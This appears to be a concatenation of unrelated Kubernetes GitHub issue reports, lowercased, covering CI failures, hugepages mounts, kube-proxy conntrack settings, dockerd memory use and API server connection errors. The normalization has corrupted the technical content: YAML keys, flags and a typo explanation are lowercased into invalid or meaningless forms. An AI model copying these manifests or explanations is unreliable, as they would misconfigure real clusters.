<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : testing.md readme.md  ---    is this a bug report or feature request?    choose one : bug report  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  : na    environment  : na -   cloud provider or hardware configuration  : -   os    e.g. from /etc/os-release : -   kernel    e.g.  uname -a  : -   install tools  : -   others  :    what happened  : i visited https://github.com/kubernetes/kubernetes/blob/master/docs/devel/readme.md and did not find much about testing.    what you expected to happen  : i expected more information.  a link to https://github.com/kubernetes/kubernetes/blob/master/docs/devel/testing.md would have been great.    how to reproduce it    as minimally and precisely as possible : visit https://github.com/kubernetes/kubernetes/blob/master/docs/devel/readme.md and try to learn all about testing kubernetes.    anything else do we need to know  :

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-federation-release-1.5/171/  run so broken it didn't make junit output!

i find it takes long time to build kubernetes. for some reason, i want to know the specification of the slave that runs bazel-build in the your ci. what's more, why your jenkins runs \ bazel clean\  before \ bazel build\  every time?

in https://kubernetes.io/docs/concepts/jobs/run-to-completion-finite-workloads/\r \r under \ 3. parallel jobs with a work queue\  it says:\r \r 4. when any pod terminates with success, no new pods are created.\r 5. once at least one pod has terminated with success and all pods are terminated, then the job is completed with success.\r 6. once any pod has exited with success, no other pod should still be doing any work or writing any output. they should all be in the process of exiting.\r \r that's inconvenient.   it'd be a lot easier to write workers if they could return success when the work queue was empty, even if other pods were still working on their last item.   the above behaviour is fine if all the remaining pods succeed, but if one of the remaining work items fails we may need a new pod to retry that work item.\r \r so it'd be awesome if the code was changed so that the documentation read something like:\r \r 4. when any pod terminates with success, no new pods are created except to replace pods that terminate with failure.\r 5. once at least one pod has terminated with success and all pods are terminated, then the job is completed with success.\r

\r   is this a bug report or feature request?    choose one :\r feature request\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r pr  45666 adds gzip and flate compression to get and list requests on api objects. this issue is a feature request to add a feature gate to opt out of compression.  https://github.com/kubernetes/kubernetes/blob/master/pkg/features/kube_features.go l117

is this a bug report or feature request?  :\r \r  \r   what happened  :\r in a number of comments in https://github.com/kubernetes/kubernetes/pkg/cloudprovider/providers/gce/gce.go mentions  gcediskalphaapi .\r \r   what you expected to happen  :\r \r that flag is actually  diskalphaapi  not  gcediskalphaapi .\r \r   how to reproduce it  as minimally and precisely as possible   :\r n/a\r \r

 \r   what happened  :\r when using emptydir with hugepages medium:\r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: example\r spec:\r   containers:\r   - image: ubuntu\r     command:\r     - sleep\r     - inf\r     name: example\r     volumemounts:\r     - mountpath: /hugepages\r       name: hugepage\r     resources:\r       requests:\r         hugepages-2mi: 100mi\r       limits:\r         hugepages-2mi: 100mi\r   volumes:\r   - name: hugepage\r     emptydir:\r       medium: hugepages\r    \r \r i got following error in dmesg:\r    \r hugetlbfs: bad mount option: \ pagesize=2mi\ \r    \r \r   what you expected to happen  :\r i expected kubernetes to mount a hugetlbfs backed volume inside pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run above manifest  kube-apiserver  has to be launched with  --feature-gates=\ hugepages=true\   and k8s node has to have available at least 50 pages of size 2mi.\r \r   anything else we need to know?  :\r \r it is caused because there is a typo instead of  pagesize  it should be  pagesize .\r \r   environment  :\r - kubernetes version  use  kubectl version  :  v1.9.0-alpha.0.525+99b2ee16977b45-dirty \r - cloud provider or hardware configuration  :   openstack \r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.1 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.1 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :  linux hugepages 4.4.0-57-generic

open an issue to track progress:\r \r last update: https://kubernetes.slack.com/archives/c09qz4dqb/p1516685722000284\r \r cc @justinsb @chrislovecnm @mattlandis @arun-gupta \r  

what happened  :\r i look kube-proxy  document . \r i think conntrack-max-per-core  is one cpu userd conntrack-max number.\r i think conntrack-min is all cpu userd conntrack-max number.\r <pre>\r --conntrack-max-per-core int32     default: 32768\r   | maximum number of nat connections to track per cpu core  0 to leave the limit as-is and ignore conntrack-min .\r --conntrack-min int32     default: 131072\r   | minimum number of conntrack entries to allocate, regardless of conntrack-max-per-core  set conntrack-max-per-core=0 to leave the limit as-is .\r </pre>\r i change my kube-proxy.conf.\r <pre>\r data:\r   config.conf: |-\r     conntrack:\r       max: null\r       maxpercore: 65535\r       min: 655350\r </pre>\r i don't know,why 8cpu and 32cpu servers  nf_conntrack_max the numbers are different.    \r 8  cpu   nf_conntrack_max to 655350     \r 32 cpu nf_conntrack_max to 2097120  \r \r <pre>\r   kubectl logs -f -n kube-system kube-proxy-gq27h                      <-----8 cpu\r i0322 02:18:37.090094       1 server_others.go:148  using iptables proxier.\r i0322 02:18:37.187902       1 server.go:447  version: v1.12.5\r i0322 02:18:37.205893       1 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_max' to 655350\r i0322 02:18:37.206052       1 conntrack.go:52  setting nf_conntrack_max to 655350\r \r   kubectl logs -f -n kube-system kube-proxy-72t79                   <----32cpu\r i0322 02:18:07.313508       1 server_others.go:148  using iptables proxier.\r i0322 02:18:07.387543       1 server.go:447  version: v1.12.5\r i0322 02:18:07.397120       1 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_max' to 2097120\r i0322 02:18:07.397214       1 conntrack.go:52  setting nf_conntrack_max to 2097120\r </pre>\r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12.5\r - cloud provider or hardware configuration:  kubernetes\r - os  e.g:  cat /etc/os-release  :   centos.7.5\r - kernel  e.g.  uname -a  :   4.19x64\r - others:\r /area kube-proxy

@jbeda's idea.  it might be useful to have our standard set up scripts have the master run a registry. this would make it easy to upload/distribute \ local\  images across the cluster.  while docker has a clear idea around local and remote images, with k8s we now have \ cluster local\  images that need to be distributed fast across the cluster but don't need to bounce off of the public registry.

https://github.com/kubernetes/kubernetes/pull/16866 issuecomment-158125456 refers, copied here:  erictune commented: we are going to want to have kubelet-computed labels, as well as labels that a user puts into a file on the kubelet and the kubelet automatically syncs to the node. we should think about how those two sets of labels interact.  specifically, if a user is running on bare metal, and the user does not have a cloud provider to get the zone info from, the user are going to want to set the zone label via the file method.  should the user should also use the failure-domain.kubernetes.io/zone label in this case?  or should they use example.com/custom-zone, and then adjust the scheduler to somehow spread on this label instead?  i think this depends on whether the domain prefix means who owns the code that generated the label value, or if it means who owns the meaning of the label.  if we allow kubernetes.io/ domain labels in the file, then we need to decide which takes precedence, the file or the cloud provider. if we don't allow kubernetes.io in the file, then  maybe  we do not have to think about precedence.

observed in the logs from  24652.      i0422 05:59:27.522231       5 handlers.go:161  delete /api/v1/namespaces/e2e-tests-kubectl-7cj4h/configmaps:  612.656µs  200   kube-controller-manager/v1.3.0  linux/amd64  kubernetes/fe22780/service-account-controller  127.0.0.1:34234  i0422 05:59:27.522983       5 handlers.go:161  get /api/v1/namespaces/e2e-tests-kubectl-7cj4h/configmaps:  485.859µs  200   kube-controller-manager/v1.3.0  linux/amd64  kubernetes/fe22780/service-account-controller  127.0.0.1:34234  i0422 05:59:27.523811       5 handlers.go:161  delete /api/v1/namespaces/e2e-tests-kubectl-7cj4h/endpoints:  525.154µs  200   kube-controller-manager/v1.3.0  linux/amd64  kubernetes/fe22780/service-account-controller  127.0.0.1:34234  i0422 05:59:27.524702       5 handlers.go:161  get /api/v1/namespaces/e2e-tests-kubectl-7cj4h/endpoints:  647.309µs  200   kube-controller-manager/v1.3.0  linux/amd64  kubernetes/fe22780/service-account-controller  127.0.0.1:34234  i0422 05:59:27.525563       5 handlers.go:161  delete /api/v1/namespaces/e2e-tests-kubectl-7cj4h/events:  600.991µs  200   kube-controller-manager/v1.3.0  linux/amd64  kubernetes/fe22780/service-account-controller  127.0.0.1:34234  i0422 05:59:27.526259       5 handlers.go:161  get /api/v1/namespaces/e2e-tests-kubectl-7cj4h/events:  462.623µs  200   kube-controller-manager/v1.3.0  linux/amd64  kubernetes/fe22780/service-account-controller  127.0.0.1:34234  i0422 05:59:27.527017       5 handlers.go:161  delete /api/v1/namespaces/e2e-tests-kubectl-7cj4h/limitranges:  498.874µs  200   kube-controller-manager/v1.3.0  linux/amd64  kubernetes/fe22780/service-account-controller  127.0.0.1:34234  i0422 05:59:27.527697       5 handlers.go:161  get /api/v1/namespaces/e2e-tests-kubectl-7cj4h/limitranges:  442.203µs  200   kube-controller-manager/v1.3.0  linux/amd64  kubernetes/fe22780/service-account-controller  127.0.0.1:34234  i0422 05:59:27.528577       5 handlers.go:161  delete /api/v1/namespaces/e2e-tests-kubectl-7cj4h/persistentvolumeclaims:  553.785µs  200   kube-controller-manager/v1.3.0  linux/amd64  kubernetes/fe22780/service-account-controller  127.0.0.1:34234  i0422 05:59:27.529442       5 handlers.go:161  get /api/v1/namespaces/e2e-tests-kubectl-7cj4h/persistentvolumeclaims:  613.199µs  200   kube-controller-manager/v1.3.0  linux/amd64  kubernetes/fe22780/service-account-controller  127.0.0.1:34234  i0422 05:59:27.530633       5 handlers.go:161  get /api/v1/namespaces/e2e-tests-kubectl-7cj4h/pods:  800.714µs  200   kube-controller-manager/v1.3.0  linux/amd64  kubernetes/fe22780/namespace-controller  127.0.0.1:34234  i0422 05:59:27.532632       5 handlers.go:161  delete /api/v1/namespaces/e2e-tests-kubectl-7cj4h/pods:  1.373067ms  200   kube-controller-manager/v1.3.0  linux/amd64  kubernetes/fe22780/service-account-controller  127.0.0.1:34234  i0422 05:59:27.533636       5 handlers.go:161  get /api/v1/namespaces/e2e-tests-kubectl-7cj4h/pods:  718.346µs  200   kube-controller-manager/v1.3.0  linux/amd64  kubernetes/fe22780/service-account-controller  127.0.0.1:34234  i0422 05:59:27.534707       5 handlers.go:161  get /api/v1/namespaces/e2e-tests-kubectl-7cj4h:  582.581µs  200   kube-controller-manager/v1.3.0  linux/amd64  kubernetes/fe22780/namespace-controller  127.0.0.1:34234

is there a way to watch the nodes without watching their heartbeats?  with each node posting a status every 10 seconds, this produces a lot of invalidations for what would otherwise be a relatively static set.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-staging-parallel/1004/  failed:  k8s.io  hostpath should give a volume the correct mode  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/host_path.go:56 expected error:     < errors.errorstring | 0xc820ad8810>: {         s: \ expected container test-container-1 success: gave up waiting for pod 'pod-host-path-test' to be 'success or failure' after 5m0s\ ,     }     expected container test-container-1 success: gave up waiting for pod 'pod-host-path-test' to be 'success or failure' after 5m0s not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2307       previous issues for this test:  32122

failure cluster  1cf0b5fa0747781dae30  https://go.k8s.io/triage 1cf0b5fa0747781dae30        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:216 jun 19 21:34:24.815: error waiting for all pods to be running and ready: 2 / 13 pods in namespace \ kube-system\  are not in running and ready state in 10m0s pod                                   node                                         phase   grace conditions kube-dns-2673147055-x7v8w             gke-bootstrap-e2e-default-pool-b8e549f5-6k1v running        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-19 21:18:33 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-06-19 21:18:33 -0700 pdt containersnotready containers with unready status:  kubedns } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-19 21:18:33 -0700 pdt  }  kubernetes-dashboard-1971317102-t9bq5 gke-bootstrap-e2e-default-pool-b8e549f5-9mb9 running        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-19 21:18:33 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-06-19 21:28:11 -0700 pdt containersnotready containers with unready status:  kubernetes-dashboard } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-19 21:18:33 -0700 pdt  }   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:167           failure cluster statistics: 1 tests failed,    32 jobs failed,    495 builds failed. failure stats cover 1 day time range '20 jun 2017 07:04 utc' to '21 jun 2017 07:04 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | beforesuite | 32 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-soak-gke-gci-test | 46 |  21 jun 2017 06:36 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gke-gci-test/2848  | | ci-kubernetes-soak-gke-test | 41 |  21 jun 2017 06:32 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gke-test/3143  | | ci-kubernetes-e2e-gci-gke-ingress | 20 |  20 jun 2017 16:26 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-ingress/10220  |   current status  https://go.k8s.io/triage 1cf0b5fa0747781dae30

currently, hostalias feature  does not support hostnetwork pods  https://github.com/kubernetes/kubernetes/blob/faf4e57f1b9c2ea4671f62c96d4470e4757a3a4e/pkg/api/validation/validation.go l2062-l2070 . this is because hostnetwork pods currently  do not  https://github.com/kubernetes/kubernetes/blob/48b3fb84abdc0fee12299eed262da287d48110de/pkg/kubelet/kubelet_pods.go l112-l118  have its hosts files managed by kubelet.\r \r once https://github.com/kubernetes/kubernetes/issues/48397 resolves, we can change the validation to make hostalias also supported by hostnetwork pods.\r \r   \r @yujuhong @hongchaodeng @thockin

failure cluster  7b4c6fae48bcc90a4979  https://go.k8s.io/triage 7b4c6fae48bcc90a4979        error text:     expected error:     < url.error | 0xc4212600c0>: {         op: \ get\ ,         url: \ https://104.154.136.27/api/v1/nodes\ ,         err: {             op: \ dial\ ,             net: \ tcp\ ,             source: nil,             addr: {                 ip:  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 104, 154, 136, 27 ,                 port: 443,                 zone: \ \ ,             },             err: {                 syscall: \ getsockopt\ ,                 err: 0x6f,             },         },     }     get https://104.154.136.27/api/v1/nodes: dial tcp 104.154.136.27:443: getsockopt: connection refused not to have occurred  k8s.io/kubernetes/test/e2e/upgrades.  daemonsetupgradetest .validaterunningdaemonset 0x56db0d8, 0xc421190c40  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/upgrades/daemonsets.go:106 +0xc7 k8s.io/kubernetes/test/e2e/upgrades.  daemonsetupgradetest .test 0x56db0d8, 0xc421190c40, 0xc42109a6c0, 0x2  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/upgrades/daemonsets.go:95 +0xc4 k8s.io/kubernetes/test/e2e.  chaosmonkeyadapter .test 0xc42117bf00, 0xc420aace00  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:205 +0x1ed k8s.io/kubernetes/test/e2e.  chaosmonkeyadapter .test-fm 0xc420aace00  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:270 +0x34 k8s.io/kubernetes/test/e2e/chaosmonkey.  chaosmonkey .do.func1 0xc420aace00, 0xc4209fe230  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/chaosmonkey/chaosmonkey.go:89 +0x76 created by k8s.io/kubernetes/test/e2e/chaosmonkey.  chaosmonkey .do \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/chaosmonkey/chaosmonkey.go:90 +0x1c7           failure cluster statistics: 1 tests failed,    27 jobs failed,    96 builds failed. failure stats cover 1 day time range '16 jul 2017 02:32 utc' to '17 jul 2017 02:32 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | daemonset-upgrade | 27 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-cvm-1-6-cvm-1-7-upgrade-cluster-new | 7 |  17 jul 2017 01:18 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-6-cvm-1-7-upgrade-cluster-new/278  | | ci-kubernetes-e2e-gke-gci-1-6-cvm-1-7-upgrade-cluster | 6 |  16 jul 2017 21:31 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1-6-cvm-1-7-upgrade-cluster/272  | | ci-kubernetes-e2e-gke-gci-1-6-gci-1-7-upgrade-master | 6 |  17 jul 2017 01:19 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1-6-gci-1-7-upgrade-master/278  |   current status  https://go.k8s.io/triage 7b4c6fae48bcc90a4979

 \r   what happened  :\r walteraa  6:55 am  \r hi, the controller manager of the federation using google cloud dns is crashing, the log showed is that:\r \r    i0822 13:17:33.997888       1 clouddns.go:86  using defaulttokensource &oauth2.reusetokensource{new:jwt.jwtsource{ctx:  context.emptyctx  0xc42001c550 , conf:  jwt.config  0xc420288e00 }, mu:sync.mutex{state:0, sema:0x0}, t:  oauth2.token  nil }\r i0822 13:17:33.998181       1 clouddns.go:100  successfully got dns service: &{0xc420e19b00 https://www.googleapis.com/dns/v1/projects/  0xc42000e840 0xc42000e848 0xc42000e850 0xc42000e858}\r e0822 13:17:35.621941       1 dns.go:97  failed to retrieve dns zone: error querying for dns zones: googleapi: got http response code 404 with body: not found\r f0822 13:17:35.622009       1 controllermanager.go:144  failed to start service dns controller: error querying for dns zones: googleapi: got http response code 404 with body: not found\r    \r \r the hyperkube command is that:\r    /hyperkube\r       federation-controller-manager\r       --dns-provider=google-clouddns\r       --federation-name=fed-keepalived\r       --kubeconfig=/etc/federation/controller-manager/kubeconfig\r       --master=https://fed-keepalived-apiserver\r       --zone-name=kfed.walteralves.me.\r    \r \r i have created this  kfed.walteralves.me.  in the google dns\r \r someone knows why the dns zone query is getting the 404 error?? :disappointed:\r \r   what you expected to happen  :\r \r it should have created the missing domain.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r as per above.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.4\r - cloud provider or hardware configuration  : openstack  irrelevant \r - os  e.g. from /etc/os-release : irrelevant\r - kernel  e.g.  uname -a  : irrelevant\r - install tools: irrelevant\r - others: irrelevant\r

hi guys,\r  i am reopening the issue already raised  here   https://github.com/kubernetes/kubernetes/issues/54706  and on stackoverflow  here  https://stackoverflow.com/questions/47092895/dockerd-memory-usage-is-using-more-memory-than-one-used-by-pods , because i need to have a way forward asap to my problem.\r in my case i am using a k8s cluster on azure and i have also already raised a ticket over there.\r microsoft  suggested me to put my doubts here  microsoft ticket number is: 117102416545886 \r \r below an agent with 70% of memory used on microsoft k8s cluster, in this particular case \ docker stas sum of each pod is almost 3675 mb of ram \r    \r \r name:               k8s-agent-b1fef67b-0\r roles:              <none>\r labels:             agentpool=agent\r                     beta.kubernetes.io/arch=amd64\r                     beta.kubernetes.io/instance-type=standard_d3_v2\r                     beta.kubernetes.io/os=linux\r                     failure-domain.beta.kubernetes.io/region=northeurope\r                     failure-domain.beta.kubernetes.io/zone=0\r                     kubernetes.io/hostname=k8s-agent-b1fef67b-0\r                     role=agent\r annotations:        node.alpha.kubernetes.io/ttl=0\r                     volumes.kubernetes.io/controller-managed-attach-detach=true\r taints:             <none>\r creationtimestamp:  fri, 22 sep 2017 12:51:44 +0200\r conditions:\r   type                 status  lastheartbeattime                 lasttransitiontime                reason                       message\r   ----                 ------  -----------------                 ------------------                ------                       -------\r   outofdisk            false   mon, 06 nov 2017 12:16:59 +0100   sun, 05 nov 2017 01:19:14 +0100   kubelethassufficientdisk     kubelet has sufficient disk space available\r   memorypressure       false   mon, 06 nov 2017 12:16:59 +0100   sun, 05 nov 2017 01:19:14 +0100   kubelethassufficientmemory   kubelet has sufficient memory available\r   diskpressure         false   mon, 06 nov 2017 12:16:59 +0100   sun, 05 nov 2017 01:19:14 +0100   kubelethasnodiskpressure     kubelet has no disk pressure\r   ready                true    mon, 06 nov 2017 12:16:59 +0100   sun, 05 nov 2017 01:19:14 +0100   kubeletready                 kubelet is posting ready status\r   networkunavailable   false   fri, 22 sep 2017 12:52:02 +0200   fri, 22 sep 2017 12:52:02 +0200   routecreated                 routecontroller created a route\r addresses:\r   internalip:  10.240.0.5\r   hostname:    k8s-agent-b1fef67b-0\r capacity:\r  alpha.kubernetes.io/nvidia-gpu:  0\r  cpu:                             4\r  memory:                          14359440ki\r  pods:                            110\r allocatable:\r  alpha.kubernetes.io/nvidia-gpu:  0\r  cpu:                             4\r  memory:                          14257040ki\r  pods:                            110\r system info:\r  machine id:                 d51d78572977e1688e52c5fcf9b253e7\r  system uuid:                ca659365-7352-e448-b71d-6acc40271eee\r  boot id:                    64c49c83-8470-4d2d-93e5-18f8f824e814\r  kernel version:             4.4.0-96-generic\r  os image:                   debian gnu/linux 8  jessie \r  operating system:           linux\r  architecture:               amd64\r  container runtime version:  docker://1.12.6\r  kubelet version:            v1.6.6\r  kube-proxy version:         v1.6.6\r podcidr:                     10.244.3.0/24\r externalid:                  /subscriptions/4b635afd-2249-4d4d-91ae-8a7721b476d3/resourcegroups/test_development/providers/microsoft.compute/virtualmachines/k8s-agent-b1fef67b-0\r non-terminated pods:          15 in total \r   namespace                  name                              cpu requests  cpu limits  memory requests  memory limits\r   ---------                  ----                              ------------  ----------  ---------------  -------------\r   clean                      clean-up-cj3gw                    0  0%         0  0%       0  0%            0  0% \r   default                    test-25438057-xt2nl              0  0%         0  0%       0  0%            0  0% \r   default                    em-2791665336-zpvwb              0  0%         0  0%       0  0%            0  0% \r   default                    eur-2051059379-6kn22              0  0%         0  0%       0  0%            0  0% \r   default                    ls-2774997370-mn2dz             0  0%         0  0%       0  0%            0  0% \r   default                    ls2-461167620-09fp3              0  0%         0  0%       0  0%            0  0% \r   default                    mda-2464833282-5t8tg              0  0%         0  0%       0  0%            0  0% \r   default                    nginxredirect-1496458101-32m05    0  0%         0  0%       0  0%            0  0% \r   default                    oam-3548714843-2b326              0  0%         0  0%       0  0%            0  0% \r   default                    sched-1256399187-n8n2x            0  0%         0  0%       0  0%            0  0% \r   kafka                      kafka-2                           500m  12%     0  0%       1gi  7%          0  0% \r   kafka                      zk-1                              500m  12%     0  0%       2gi  14%         0  0% \r   kube-system                heapster-2922262944-fswx5         138m  3%      138m  3%    294mi  2%        294mi  2% \r   kube-system                kube-dns-v20-1742650215-kbbvq     110m  2%      0  0%       120mi  0%        220mi  1% \r   kube-system                kube-proxy-9lb1m                  100m  2%      0  0%       0  0%            0  0% \r allocated resources:\r    total limits may be over 100 percent, i.e., overcommitted. \r   cpu requests  cpu limits  memory requests  memory limits\r   ------------  ----------  ---------------  -------------\r   1348m  33%    138m  3%    3486mi  25%      514mi  3% \r events:         <none>\r \r \r    \r what i am observing is an abnormal usage of ram memory on my nodes, this is why i asked to microsoft, i assumed that if they offer caas, they should also optimize services to have an efficient usage of resources i am paying, but this is not my case :-1: \r \r before to enter in details i have to say that in my  yaml file  i didn't put any limits in terms of resources of memory.\r by the way i can see that \ dockerd\  daemon is using more memory than the amount used by pods themselves.\r i tried on my production cluster and also on new cluster with just few deployed microservices and the result is the same.\r in particular on my production cluster where each agent has 14 gb of memory, i can see that 4gb are used by pods and 6 by dockerd, this means i have few gb available i can use and probably in case i scale out my microservices i have not enough resources and the only way i can solve this problem is to switch profile with more costs.\r is this usage of memory something already observed by you, guys?\r moreover, by googling i have seen many workaround to optimize cluster: cleanup of older images, etc.. honestly i didn't get why these optimizations are not deployed as services in the cluster like other services, heaptster.. etc. \r by the way in my cluster i have applied also these last optimizations, described before.\r \r could you please help me?\r i know that you always look on stack overflow to find issues on different versions, but in my case i haven't received any answers.\r \r why dockerd daemon itself is using 4 gb on one agent and few mb on the other 2 agents ?\r \r ! agent_0  https://user-images.githubusercontent.com/22886636/32563985-015136b6-c4b3-11e7-890a-1d3f649ff18c.png \r \r ! agent_1  https://user-images.githubusercontent.com/22886636/32563989-04e296bc-c4b3-11e7-94aa-53204e701fff.png \r \r ! agent_2  https://user-images.githubusercontent.com/22886636/32563992-06f3fc5c-c4b3-11e7-85b8-9ecfa75a2813.png \r \r \r tks\r prisco\r \r   

is this a bug report or feature request?  :\r \r  @kubernetes/sig-testing-bugs for lack of better idea\r \r hack/make-rules/test-cmd-util.sh, line 1443 is failing, even when the debug output shows the expected text:\r \r    \r       test kubectl get watch\r   output_message=$ kubectl get pods -w --request-timeout=1 \ ${kube_flags @ }\  \r   kube::test::if_has_string \ ${output_message}\  'status'      headers\r    \r \r from the test log:\r    \r w1229 08:19:59.957  e1229 08:19:59.956134   14728 streamwatcher.go:109  unable to decode an event from the watch stream: net/http: request canceled  client.timeout exceeded while reading body \r w1229 08:19:59.968  !!!  1229 08:19:59  call tree:\r w1229 08:19:59.971  !!!  1229 08:19:59   1: /go/src/k8s.io/kubernetes/hack/make-rules/../../third_party/forked/shell2junit/sh2ju.sh:38 run_kubectl_get_tests ... \r w1229 08:19:59.973  !!!  1229 08:19:59   2: /go/src/k8s.io/kubernetes/hack/make-rules/../../third_party/forked/shell2junit/sh2ju.sh:103 eval ... \r w1229 08:19:59.976  !!!  1229 08:19:59   3: /go/src/k8s.io/kubernetes/hack/make-rules/test-cmd-util.sh:106 julog ... \r w1229 08:19:59.979  !!!  1229 08:19:59   4: /go/src/k8s.io/kubernetes/hack/make-rules/test-cmd-util.sh:4700 record_command ... \r w1229 08:19:59.982  !!!  1229 08:19:59   5: hack/make-rules/test-cmd.sh:103 runtests ... \r i1229 08:20:00.082  fail!\r i1229 08:20:00.083  message:name        ready     status    restarts   age\r i1229 08:20:00.083  valid-pod   0/1       pending   0          1s\r i1229 08:20:00.084  has not:status\r i1229 08:20:00.084  1443 /go/src/k8s.io/kubernetes/hack/make-rules/test-cmd-util.sh\r    \r \r   what happened  :\r \r see for example https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/57700/pull-kubernetes-unit/72740/\r

 \r   what happened  :\r i've installed kubernetes 1.9.2 on the master node  ubuntu 16.04  including the dashboard. all the pods were running fine. but after rebooting, when i try to run  kubectl get nodes  or  kubectl get pods  i get:\r \r  the connection to the server 10.50.88.230:6443 was refused - did you specify the right host or port?\r  \r \r if i run  kubectl cluster-info  i get:\r \r    \r kubernetes master is running at https://10.50.88.230:6443\r \r to further debug and diagnose cluster problems, use 'kubectl cluster-info dump'.\r the connection to the server 10.50.88.230:6443 was refused - did you specify the right host or port?\r    \r \r but if i run  kubectl cluster-info dump  i get the same error.\r \r   what you expected to happen  :\r see the list of nodes and work as usual\r \r   how to reproduce it  as minimally and precisely as possible   :\r i've installed kubernetes 1.9.2 on the master node  ubuntu 16.04  including the dashboard and using flannel as pod network. all seemed to run fine. then i rebooted and i got that error.\r \r   anything else we need to know?  :\r \r   environment  :\r \r - kubernetes version  use  kubectl version  :\r 1.9.2\r \r - cloud provider or hardware configuration:\r cpu /ghz: 2, 1 ghz\r ram: 16 gb\r \r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r - kernel  e.g.  uname -a  :\r linux ecs-9ce3f5ca 4.4.0-64-generic  85-ubuntu smp mon feb 20 11:50:30 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r followed https://kubernetes.io/docs/setup/independent/install-kubeadm/\r \r - others:\r

